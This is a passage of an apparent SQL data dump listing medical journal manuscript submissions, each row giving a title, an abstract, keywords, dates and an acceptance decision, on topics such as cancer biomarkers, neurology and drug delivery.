chemotherapy, surgery, survival period.',2817,NULL,'2023-03-30',NULL,'Submitted',2,NULL,'2023-04-06',NULL,1,1,'1','Accept the Article for Publication',0,'','',NULL,0,0,0,NULL,0),(13622,13769,971,0,'ipaclr-23-13622','Revolutionizing Cancer Diagnosis and Treatment with Biomarkers: A Comprehensive Overview',NULL,5,0,'','Cancer biomarkers have emerged as valuable tools in the diagnosis and treatment of cancer. These molecular or cellular indicators provide information about the presence, stage, and aggressiveness of a tumor, and can also help monitor treatment response and predict outcomes. Biomarkers can be detected in various types of samples, including blood, urine, and tissue specimens, and can be measured using a range of technologies, from simple assays to advanced genomic profiling techniques. In recent years, significant progress has been made in identifying and validating new biomarkers for different cancer types, and several of these have already been incorporated into clinical practice.','Biomarkers, Tissue specimens, Diagnosis, Treatment.',4933,NULL,'2023-03-31',NULL,'Submitted',2,NULL,'2023-04-13',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13623,13770,971,0,'ipaclr-23-13623','Exploring the Role of Clinical Biochemistry in Disease Diagnosis and Management: Current Trends and Future Directions',NULL,17,0,'','Clinical biochemistry is the branch of laboratory medicine that deals with the measurement of chemicals and biochemical compounds in bodily fluids. This field is essential in the diagnosis, monitoring, and treatment of various diseases. In this mini review article, we will discuss some of the key areas of clinical biochemistry and their importance in patient care.','Clinical biochemistry, Medicine, Diagnosis',4933,NULL,'2023-03-31',NULL,'Submitted',2,NULL,'2023-04-14',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13624,13771,971,0,'ipaclr-23-13624','Unlocking the Potential of Antibody Drug Conjugates: A Revolutionary Approach to Targeted Cancer Therapy',NULL,12,0,'','Antibody Drug Conjugates (ADCs) are a promising class of targeted cancer therapies that combine the specificity of monoclonal antibodies with the cytotoxic activity of chemotherapeutic agents. ADCs have the potential to improve cancer treatment by selectively targeting cancer cells, reducing toxicity to healthy tissues, and improving therapeutic outcomes. In this article, we will discuss the mechanism of action of ADCs, their development, and their potential applications in cancer therapy.','Cancer therapy, Cancer cells, Monoclonal antibodies ',5380,NULL,'2023-03-31',NULL,'Submitted',2,NULL,'2023-04-14',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13625,13772,971,0,'ipaclr-23-13625','Breaking Down Barriers: The Power of Enzyme Inhibitors in Treating Diseases and Disorders',NULL,5,0,'',' ','',5381,NULL,'2023-03-31',NULL,'Submitted',2,NULL,'2023-04-13',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13626,13773,971,0,'ipaclr-23-13626','Unraveling the Complexities of Immunopathology: Insights into the Causes and Consequences of Immune Responses',NULL,5,0,'','Immunopathology is a field of study that focuses on the interaction between the immune system and disease. It involves the study of how the immune system responds to different pathogens and how this response can lead to disease. In some cases, an inappropriate immune response can actually contribute to disease or cause tissue damage, and this is the focus of immunopathology.','Immunopathology, Pathogens, Immune response  ',4933,NULL,'2023-03-31',NULL,'Submitted',2,NULL,'2023-04-13',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13627,13774,639,0,'ipfs-23-13627','Bacteria of wet-salted Mugil cephalus, Chanos chanos and Gerres oyena (Pisces) from Sudanese Red Sea Coast',NULL,14,0,'','Abstract.                                                                             \r\nWet-salted Mugil cephalus is occasionally found on shelf. The present study prepared wet-salted M. cephalus, Chanos chanos and Gerres oyena at three salt ratios 15%, 20% and 25%. Preparation covered summer and winter season. Ten bacterial species Microccoccus sp. I, Microccoccus sp. II, Microccoccus sp. III and Microccoccus sp. IV; Staphylococcus sp.; Aerococcus sp.; Microccoccus kristainae, Microccoccus varians, Staphylococcus kloosii and Stomatococcus micococcus. In summer samples of M. cephalus, C. chanos and G. oyena at all brine concentrations and storage durations Microccoccus sp. I, Microccoccus sp. II, Microccoccus sp. III, Microccoccus sp. I, Staphylococcus sp., and Aerococcus sp. were found. In winter samples M. kristainae was found. The frequency of occurrence of M. varians, S. kloosii and S. micococcus followed no consistent pattern. With respect to fresh samples in winter M. kristainae was found in M. cephalus and in G. oyena; and S. kloosii in C. chanos.\r\n','Keywords: Bacteria, Wet-salted, Marine, Fish, Sudan. ',1777,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accept\r\n',0,'','',NULL,0,0,0,NULL,0),(13628,12921,996,0,'ipar-23-13628','A Study on Effect of Dolor Lumbar in Older Peoples',NULL,19,0,'','Low back pain or Dolor Lumbar is the most common musculoskeletal condition that affects millions of people globally. It is a leading cause of disability, loss of productivity, and healthcare expenditure. Low back pain affects people of all ages but is more prevalent in older people aged 65 years and above. This is because aging leads to the degeneration of the spinal discs and joints. Other factors that contribute to low back pain include poor posture, physical inactivity, obesity, smoking, and genetics. The purpose of this study is to evaluate the effect of low back pain on older people, and to identify the risk factors, prevalence, and management strategies for this condition.','Dolor Lumbar; Degeneration; Spinal discs; Physical inactivity; Risk factors',3649,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13629,13341,996,0,'ipar-23-13629','The Modern Therapy for Future Calf Muscle Pain',NULL,19,0,'','Calf muscle pain is one of the most common musculoskeletal problems which can be due to different reasons, such as muscle strain, muscle cramp, muscle sprain, or one of various sports injuries. Depending on the severity of the pain, calf muscle pain can limit daily activities and productivity. Therefore, it is essential to identify the potential causes of this type of pain, and then address accordingly to prevent or minimize the symptoms. In this paper, we will discuss the modern therapy for future calf muscle pain. We will start by discussing the anatomy of the calf muscles and the common causes of pain. We will then discuss the traditional therapies that are currently used as well as new treatment options that show promise in treating this type of pain.','Calf muscle pain; Musculoskeletal; Muscle strain; Injuries',3649,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13630,13061,996,0,'ipar-23-13630','The Treatment of Bursitis and Differential Diagnosis',NULL,15,0,'','Bursitis is a condition that causes inflammation in the bursae which are small sacs filled with fluid that cushion and lubricate the joints. Bursae are located between tendons, muscles, and bones, and are present throughout the body. Bursitis is usually caused by repetitive motions, overuse, or direct trauma to the bursae, which leads to irritation and inflammation. It can affect any joint in the body, but most commonly occurs in the shoulder, elbow, hip, or knee. The symptoms of bursitis can range from mild discomfort to severe pain and limited range of motion. The treatment of bursitis involves managing the pain and inflammation, as well as improving joint function. This paper will discuss the differential diagnosis of bursitis, the causes, symptoms, and treatment options available.','Bursitis; Inflammation; Tendons; Trauma',3649,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13631,13775,667,0,'iptb-23-13631','A review on the molecular diagnostics of Lynch syndrome: a central role for the pathology laboratory',NULL,15,0,'','Since surveillance has the potential to reduce mortality and morbidity, early detection of LS is crucial. Be that as it may, the finding of LS is convoluted by the shortfall of a pre-grim aggregate and germ line transformation investigation is costly and tedious. As a result, selecting patients for germ line mutation analysis is typically preceded by a molecular diagnostic workup of tumors guided by clinical and pathological criteria. The molecular basis of LS, the central role of the pathologist in the selection of patients for germ line diagnostics, and these molecular analyses are all discussed in this review.','Lynch syndrome, mismatch repair genes, MSI analysis, immunohistochemistry, MLH1 promoter methylation assay, BRAF mutation analysis, molecular pathology, review',5446,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13633,13777,667,0,'iptb-23-13633','The development of personalized medicine at the intersection of pharmacology, imaging, and genetics',NULL,15,0,'','Because of this, we run the risk of rejecting treatment options that are tailored to specific subgroups or individuals because they do not prove to be effective across entire populations. There is another time arising in customized medication that will zero in on individual contrasts that are not clear phenomenological. Identifying genes, end phenotypes, and biomarkers of disease that will facilitate diagnosis and predict treatment outcomes is the focus of a lot of research. Genetics and neuroimaging are the two primary methods by which we will soon be able to predict treatment response. The most promising pharmacogenetics and neuroimaging-based markers of treatment response and adverse effects in depression and schizophrenia are discussed in this review.','personalized medicine, pharmacogenetics, neuroimaging, antipsychotic, antidepressant, treatment response, adverse effect, depression, schizophrenia.',5447,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13634,13778,667,0,'iptb-23-13634','The selection of patients for renal transplantation through personalized medicine: Perspectives of physicians regarding the clinical and moral implications',NULL,15,0,'','Due to the extreme scarcity of organs used in renal transplantation, researchers and transplant teams are compelled to discover novel strategies for increasing efficiency. The use of personalized medicine, which is based on scientifically quantifiable factors that determine each patient\'s global immunological risk of rejection, is one option. Although this strategy has the potential to increase transplant success rates, it also raises a number of ethical concerns. The subjective examination included 22 semi-organized interviews with nephrologists engaged with renal transplantation, determined to decide the experts\' perspectives about working out the worldwide immunological gamble and the chaperon moral issues.','',5447,NULL,'2023-04-05',NULL,'Submitted',2,NULL,'2023-04-28',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13635,13779,73,0,'ipjnn-23-13635','Blood-brain barrier: Challenges and opportunities for the treatment of neurological disorders',NULL,5,0,'','   ','  ',5427,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-11',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13636,13780,73,0,'ipjnn-23-13636','Neuroendocrinology: Understanding the complex interactions between the brain and hormonal system',NULL,5,0,'','   ','   ',327,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-11',NULL,1,1,'1','        ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13637,13781,73,0,'ipjnn-23-13637','Neurophysiology: Understanding the function of neurons and their interactions with the body',NULL,5,0,'','   ','   ',3358,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-11',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13638,13782,73,0,'ipjnn-23-13638','Navigating the challenges of lennox-gastaut syndrome: Understanding its complexities and management strategies',NULL,5,0,'','   ','  ',5354,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-11',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13639,13783,91,0,'ijddr-23-13639','Increasing cardiorespiratory reserves in the post covid era',NULL,5,0,'','Since Covid  times there has been a rising trend of respiratory and cardiac failure due to inability of the body\'s immune system to upkeep the body\'s oxygen requirements.\r\nIn these times it is of utmost importance to increase the reserves to defy the environmental conditions due to degradation of forest reserves, changes in the ecosystem, increase in different virus attacks, and the contagious nature of the disease.\r\nIt is an individual and societal, systematic effort to increase the reserves of the body to that at mitochondrial levels, nuclear transcriptional level, and protein productions are such that the body is able to combat the onslaught of the changing times.\r\n','cardiac, respiratory, reserves, mitochondrial, genetics, transcription, regulation, proteins',3753,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13640,13784,86,0,'ipaom-23-13640','A systematic evaluation of teledermatology in medical student, postgraduate trainee and international dermatology education',NULL,11,0,'','  ','Teledermatology, Medicine, Pandemic',5013,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13641,13785,86,0,'ipaom-23-13641','Acoustic monitoring for infectious disease epidemiology: Uses and advancements',NULL,19,0,'','Global public health continues to be severely impacted by newly emerging infectious illnesses, and there is an urgent need to better understand the patterns of transmission that emerge at the nexus between human activities and wildlife habitats. Passive acoustic monitoring (PAM), which is more frequently used to study biodiversity and conservation issues, offers the chance to gather and analyse audio data in nearly real-time and at a cheap cost. With the growth of cloud-based computing, affordable hardware, and machine learning techniques, acoustic technologies are becoming more widely available. Acoustic data can supplement current surveillance techniques and offer a fresh toolkit for examining the crucial biological factors and ecological interactions that underlie infectious disease epidemiology when combined with deliberate experimental design.','Eco-acoustics, Epidemiology, Soundscape, Passive acoustic monitoring',5013,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13642,13786,86,0,'ipaom-23-13642','Advancement of tele-expertise in dentistry may be necessary for the early diagnosis of oral cancers',NULL,5,0,'',' ','Oral cancers, Dentistry, Telemedicine',5372,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13643,13787,86,0,'ipaom-23-13643','Advances in the diagnosis and management of rheumatological disorders: Current challenges and future directions',NULL,19,0,'','Rheumatology is a subspecialty of internal medicine that focuses on the diagnosis and treatment of conditions that affect the musculoskeletal system, including the joints, muscles, bones, and tendons. Rheumatologists are medical doctors who have specialized training in the diagnosis and management of rheumatic diseases. Rheumatology is an important field of medicine as rheumatic diseases affect millions of people around the world, causing significant pain, disability, and a reduced quality of life. The field of rheumatology has seen significant advancements in recent years, with new treatments and therapies emerging that can help patients manage their symptoms and improve their quality of life.','Rheumatology; Diagnosis; Arthritis',4108,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13644,13788,86,0,'ipaom-23-13644','A single institution\'s experience with intraoperative neurophysiological monitoring and neurological outcomes after spinal cancer surgeries',NULL,12,0,'',' ','Neurophysiological, Spinal cancer, Diagnostics',3641,NULL,'2023-04-07',NULL,'Submitted',2,NULL,'2023-04-10',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13645,13789,326,0,'IPJUS-23-13645','The body packers syndrome   : management of asymptomatic cases',NULL,5,0,'','Abstract\r\nIntroduction \r\nDrugs trafficking are a significant problem for many countries, Body packing is one of the common ways to traffic illicit drugs. Intra corporeal drug carriage may lead to potential life-threatening complications with acute overdose syndromes and death due to ruptured package and intestinal obstruction that requires an emergency intervention .Patient management may be adjusted based on clinical symptoms, toxicological data and employment of appropriate radiological procedures and techniques for accurate detection and precise diagnosis. The global support has been the subject of numerous publications and recent review. \r\nCase report: \r\nWe report cases of body packers that were detained at Fez International Airport under suspicion and brought to hospital for observation, all patients were asymptomatic . A basic diagnostic imaging is done without signs of complication, close monitoring is done with good improvement\r\nConclusion: \r\nThis represents a challenge for the attending physicians. The clinic, imaging and toxicological research are essential in the management; Conservative treatment is often started with little need for surgery\r\n','Keywords: body packers, COCAINE, Radiography ROLE',5449,NULL,'2023-04-10',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13646,7951,667,0,'iptb-23-13646','Zenker diverticulum: pathophysiology, clinical presentation, and therapeutic management',NULL,2,0,'','Zenker diverticulum (ZD) is attributed to a poorly compliant cricopharyngeus muscle, and the mainstay of treatment is a cricopharyngeal myotomy. We report the case of a patient of 78 years, diagnosed with Zenker diverticulum and we report diagnostic and therapeutic modalities.','Zenker diverticulum, Myotomy, Diverticulectomy, Endoscopy.',3933,NULL,'2023-04-13',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','Accepted  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13647,13790,981,0,'ipft-23-13647','A Case Report on Danger of Improperly Approved Drugs',NULL,2,0,'','The pharmaceutical industry plays a crucial role in providing safe and effective drugs to treat and prevent various diseases. However, drugs that are not properly composed and approved without quality control measures can cause serious harm to patients, including health risks, financial burdens, legal consequences, public health concerns, and loss of trust. To prevent such cases, regulatory agencies can strengthen regulations and increase transparency, healthcare providers can improve communication with patients, research can be promoted, and the public can be educated about the importance of quality control measures. A collaborative effort is required to ensure that drugs are safe and effective for patients.','pharmaceutical , health risks, patients',5438,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13648,13791,981,0,'ipft-23-13648','A Case Report on Drug Interactions in Body',NULL,2,0,'','Drug interactions in the human body can have significant consequences, and their effects can vary depending on the body part they are targeting. The liver, kidneys, gastrointestinal tract, brain and nervous system, and cardiovascular system are all vital organs that can be impacted by drug interactions. The liver plays a crucial role in metabolizing drugs, and excessive alcohol consumption can damage the liver and interfere with drug metabolism. Similarly, the kidneys are responsible for filtering waste products, and some drugs can impact their function, leading to potential toxicity. The gastrointestinal tract is where drugs are often administered, and some medications can irritate the GI tract, leading to side effects such as nausea and vomiting. Additionally, some drugs can interact with food, delaying or enhancing their absorption. ',' medications, alcohol consumption',5438,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13649,13792,981,0,'ipft-23-13649','A brief note on the Metal Toxicology and its effect',NULL,6,0,'','Metals are naturally occurring elements that can have negative effects on living organisms. Exposure to toxic metals, such as lead, mercury, arsenic, cadmium, and aluminium, can lead to various health problems, including neurological, cardiovascular, respiratory, renal, and dermatological effects. Metal toxicity can occur through exposure to metal-containing substances, contaminated water or food, or through the use of certain products. Preventing exposure to toxic metals is critical for maintaining good health, and if suspected exposure occurs, seeking medical attention is important to prevent further damage.','lead, mercury, arsenic, cadmium, and aluminium',5438,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13650,13793,981,0,'ipft-23-13650',' A note on the Pharmacotherapeutics and its Medication\'s Role',NULL,6,0,'','This article discusses the role of medications in healthcare and their advantages and disadvantages. Medications are a crucial component of modern healthcare, and they can be used to treat and manage a wide range of illnesses and diseases, prevent illnesses, improve quality of life, provide personalized treatment, save lives, and be a cost-effective treatment option. However, medications also have the potential to cause harm if not used properly, primarily through adverse drug reactions and medication errors. Healthcare providers and patients must work together to carefully consider the potential benefits and risks of medication use, monitor patients closely for adverse effects, and take steps to prevent medication errors. Despite the potential risks, the benefits of medication use make them an essential tool in modern healthcare.','medication, healthcare, Drug interactions',5438,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13651,13794,45,0,'iphsj-23-13651','Women Workers in Informal Sector in Kashmir: Understanding the Reproductive Health and Occupational Vulnerability of Women Street Vendors in Srinagar',NULL,5,0,'','Abstract\r\nThe informal sector has always been thriving and growing at a great pace. It provides a variety of ventures to unskilled, unemployed population to earn for their sustenance. Large number of unemployed people have found refuge in this sector throughout the world, particularly in developing countries.  Generally, the people involved in this sector lack economic security and legal protection. Thus, there is a greater susceptibility of workers who work outside the reach of labour legislation or trade union organisation due to the absence of social protection laws. Women, being the dominant workers in the informal sector, are predominantly at a greater risk.\r\nThe street vendors in general and women vendors in particular, because of the nature of their work, are subjected to a number of vulnerabilities which affect their health. Besides pollution, they are also exposed to drastic climatic conditions. With the exception of certain vegetable vendors from Soura market, who apparently only work for 3–4 hours each day, these women workers put in roughly 10–12 hours a day. They stand all day, irrespective of the climatic conditions, putting their merchandise on the road/side walk or tarpaulin sheets and sell their goods. In addition to the hazards their being on the streets exposes them to, the hot summers and icy winters have a particular impact on their health. The women vendors also suffer because of the lack of basic amenities and sanitation at work place. Thus, this study is an attempt to explore the  Reproductive Health and Occupational Vulnerability of women street vendors.','Women Vendors; Health ; Safety; Vulnerability; Occupational Hazards; Reproductive Health',5388,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-22',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13652,13759,45,0,'iphsj-23-13652','Entrepreneurship networks in the Covid-19 era',NULL,14,0,'','Anti-COVID-19 policies follow the epidemiological traffic light that goes from red in total confinement to green in total deconfinement. In both scenarios, entrepreneurship is a response to the health and economic crisis. Based on distancing, confinement and immunization, the literature related to entrepreneurship configures a network structure that the present work set out to explain. A documentary, exploratory and cross-sectional work was carried out with a selection of findings published in journals indexed to Conacyt , Latindex and Redalyc. The information was selected considering the criteria of expert judges on the topics. A network was established from clustering and centrality coefficients. The results were discussed from the reviewed literature.','Higher Education; Educational Innovation; Transformational Leadership Model; OECD Member Countries; TIC',5388,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13653,13795,73,0,'ipjnn-23-13653','The correlation between Modified Ashworth scale and Fugl Meyer Assessment scale in chronic stroke rehabilitation using neurodynamics',NULL,14,0,'','','',5450,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-05-17',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13654,13796,981,0,'ipft-23-13654','A brief note on the Poisonous drugs warning',NULL,6,0,'','In modern medicine, taking drugs is a common practice that has both benefits and drawbacks. While medications can be a viable therapy for ailments, they can likewise make negative side impacts, be habit-forming, and bring about reliance or go too far. Treatment of medical conditions, improved mental health, and preventative care are among the benefits of drug use. Side effects, addiction, cost, drug interactions, overdose, and dependence are among the drawbacks of drug use. Before beginning or stopping any medication, it is critical to carefully consider the potential risks and side effects and to consult a healthcare provider.','drug intake, advantages, disadvantages, treatment, medical conditions, mental health, preventative care, side effects, addiction, cost, drug interactions, overdose, dependency, healthcare provider',5438,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-17',NULL,1,1,'1','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(13655,13797,73,0,'ipjnn-23-13655','The role of neuroinflammation in neurodegenerative diseases: mechanisms and therapeutic implications',NULL,5,0,'','  ','   ',350,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13656,13798,73,0,'ipjnn-23-13656','The gut-brain axis: Implications for neurological disorders',NULL,5,0,'','  ','  ',334,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13657,13799,73,0,'ipjnn-23-13657','Neuroplasticity and stroke recovery: Current understanding and future directions',NULL,5,0,'','  ','  ',5451,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13658,13800,73,0,'ipjnn-23-13658','Neuroimaging biomarkers for early detection of alzheimer\'s disease',NULL,5,0,'','  ','  ',351,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13659,13801,73,0,'ipjnn-23-13659','The genetics of autism spectrum disorder: recent advances and future directions',NULL,5,0,'','  ','  ',3314,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13660,13802,73,0,'ipjnn-23-13660','Neurotransmitters and neuropsychiatric disorders: Implications for diagnosis and treatment',NULL,5,0,'',' ','  ',334,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13661,13803,73,0,'ipjnn-23-13661','Brain networks and cognitive function: insights from connectomics',NULL,5,0,'','  ','   ',333,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13662,13804,91,0,'ijddr-23-13662','New Nano-Based Drug Delivery Systems for Hepatic Stellate Cells in the Fibrotic Liver',NULL,5,0,'','Hepatic stellate cells (HSCs), which are phenotypically activated and have a phenotype mimicking myofibroblasts, are found in the perisinusoidal region of the liver, This phenotypic transformation also results in the accumulation and production of various extracellular matrix (ECM) proteins in the perisinusoidal space, as well as altered hepatic function, portal hypertension, increased vascular resistance, fibrosis, cirrhosis, and hepatocellular carcinoma. Activated HSCs and myofibroblasts are the primary collagen-producing cells in the wounded liver. HSCs are hence frequently the subject of fibrosis therapies. Antifibrotic nanomedicines often target HSCs with vitamin A decoration since they house the majority of the body\'s retinol. By preventing fibrogenesis and the production of genes related to the extracellular matrix (ECM), vitamin A-decorated nanomedicines containing siRNAs aim to decrease transforming growth factor-beta, collagen, and connective tissue growth factors. Many miRNAs also have anti- and pro-fibrotic characteristics. \r\nUsing their matching antagomirs and agomirs, as well as HSC-specific nanodecoration, profibrotic and antifibrotic miRNAs are respectively targeted in the fibrotic liver. These miRNA therapies reduce fibrogenesis by repressing the expression of genes related to the ECM. However, liver fibrosis is brought on by the activation of a particular class of profibrotic signalling pathways connected to ECM accumulation in the fibrotic liver. As a result, it\'s possible that targeting certain miRNA or repressing particular genes using siRNAs won\'t be able to significantly lessen fibrosis. However, nanodecoration of a medicine is useful to deliver pharmaceuticals to activated HSCs in the injured liver. The delivery of tailored medications to liver tissue that has undergone long-term injury and activated HSCs will be the main focus of this review.\r\n','Nano drug delivery system; Liver fibrosis; Cirrhosis Targeted delivery system; Hepatic Stellate Cells Introduction',2474,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13663,13805,91,0,'ijddr-23-13663','Drug-Carrier Interaction Modelling for the Drug Release from Nanocarriers',NULL,5,0,'','For the administration and release of medicinal and imaging substances, numerous nanocarriers with different compositions and geometries have been produced. In order to achieve sustained release, many mechanisms like ion pairing and hydrophobic interaction need to be investigated due to the high specific surface areas of nanocarriers. Recently, we created a three-parameter model that takes into account first-order drug release from liposomes and reversible drug-carrier interaction. The analytical problem was solved in closed form. Here, we further investigate the model\'s capacity to represent the release of bioactive compounds from diverse nanocarriers, including medicines and growth factors. The model may be shown to be capable of mimicking the main types of drug release kinetics through a parameter research. More than 60 sets of experimental data from different drug delivery methods, including nanoparticles, hollow particles, fibers, and hollow fibers, were further fitted using the model. Additionally, bootstrapping is utilised in some circumstances to validate the model and assess the precision of parameter estimation. The model is practical for the design and development of novel drug delivery systems due to its simplicity, universality, and the physical clarity of each model parameter.','Nanotechnology; Nanocarriers; Drug delivery; Drug targeting; Drug-Carrier Interaction',5033,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13664,13806,91,0,'ijddr-23-13664','Biomedical Research Using Mass Spectrometry',NULL,5,0,'','As an alternative to array-based, gel-based, stable isotope tag or label-based methodologies, label-free mass spectrometric protein quantification methods have been developed to overcome the difficulties associated with differential expression proteomics. In this article, we concentrate on the problems with label-free techniques that use quantification based on peptide ion peak area measurements. Chromatographic alignment, peptide qualifying for quantification, and normalisation are some of these problems. In order to solve these problems, we present a number of methods that are combined in a recently created label-free quantitative mass spectrometry platform. These methods allow for thorough, precise, and repeatable protein quantitation in highly complex protein mixtures from experiments with numerous sample groups. We give a number of scenarios where the platform was successfully used to evaluate diverse protein expression or abundance in body fluids, in vitro Nano toxicity models, tissue proteomics in genetic knock-in mice, and cell membrane proteomics as illustrations of the usefulness of this approach.','As an alternative to array-based, gel-based, stable isotope tag or label-based methodologies, label-free mass spectrometric protein quantification methods have been developed to overcome the difficulties associated with differential expression proteomics. In this article, we concentrate on the problems with label-free techniques that use quantification based on peptide ion peak area measurements. Chromatographic alignment, peptide qualifying for quantification, and normalisation are some of these problems. In order to solve these problems, we present a number of methods that are combined in a recently created label-free quantitative mass spectrometry platform. These methods allow for thorough, precise, and repeatable protein quantitation in highly complex protein mixtures from experiments with numerous sample groups. We give a number of scenarios where the platform was successfully used to evaluate diverse protein expression or abundance in body fluids, in vitro Nano toxicity models, tissue proteomics in genetic knock-in mice, and cell membrane proteomics as illustrations of the usefulness of this approach.',5033,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-20',NULL,1,1,'0','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13665,13807,91,0,'ijddr-23-13665','Size Effects of Saturable and Reverse Saturable Absorption in Silver Nanoparticles and Ultrafast Dynamics',NULL,5,0,'','Saturable absorption and reverse saturable absorption are of particular interest in studies of the nonlinear optical properties of nanoparticles under resonant excitation. Nonlinear absorption mechanisms of chemically generated silver nanoparticles in deionized water were examined using femtosecond laser pulses at 400 nm. Our nonlinear absorption research shows that saturable absorption and two-photon absorption in generated Ag NPs compete with one another depending on the size of the nanoparticles. Damped oscillation, a by-product of radial breathing mode oscillation caused by acoustic vibration, has been observed in Ag NPs stimulated at 400 nm.','Nanoparticles; Nonlinear; Absorption; Metal nanoparticles; Optical limiting; Multifunctionality',5033,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13666,13808,91,0,'ijddr-23-13666','Drug Development: Stages, Challenges, and Importance',NULL,5,0,'','This article discusses the process of drug development, which involves identifying potential drug targets, developing new molecules, and conducting preclinical and clinical trials to determine the drug\'s safety and efficacy. The article also highlights the challenges in drug development, such as finding promising drug targets and ensuring that drugs are safe and effective for all patients. Despite these challenges, drug development is crucial for improving patient outcomes and quality of life, and understanding the process can help support the development of safe and effective drugs.','Drug development, drug targets, preclinical research, clinical trials, regulatory approval, safety, efficacy, challenges.',5033,NULL,'2023-04-14',NULL,'Submitted',2,NULL,'2023-04-18',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13667,13809,667,0,'iptb-23-13667','Personalized Medicine: Tailoring Treatment Plans to Individual Patients',NULL,25,0,'','Personalized medicine is a rapidly advancing field in healthcare that utilizes a patient\'s unique characteristics, including genetic makeup and other factors, to develop individualized treatment plans. This approach offers a more targeted and effective alternative to traditional 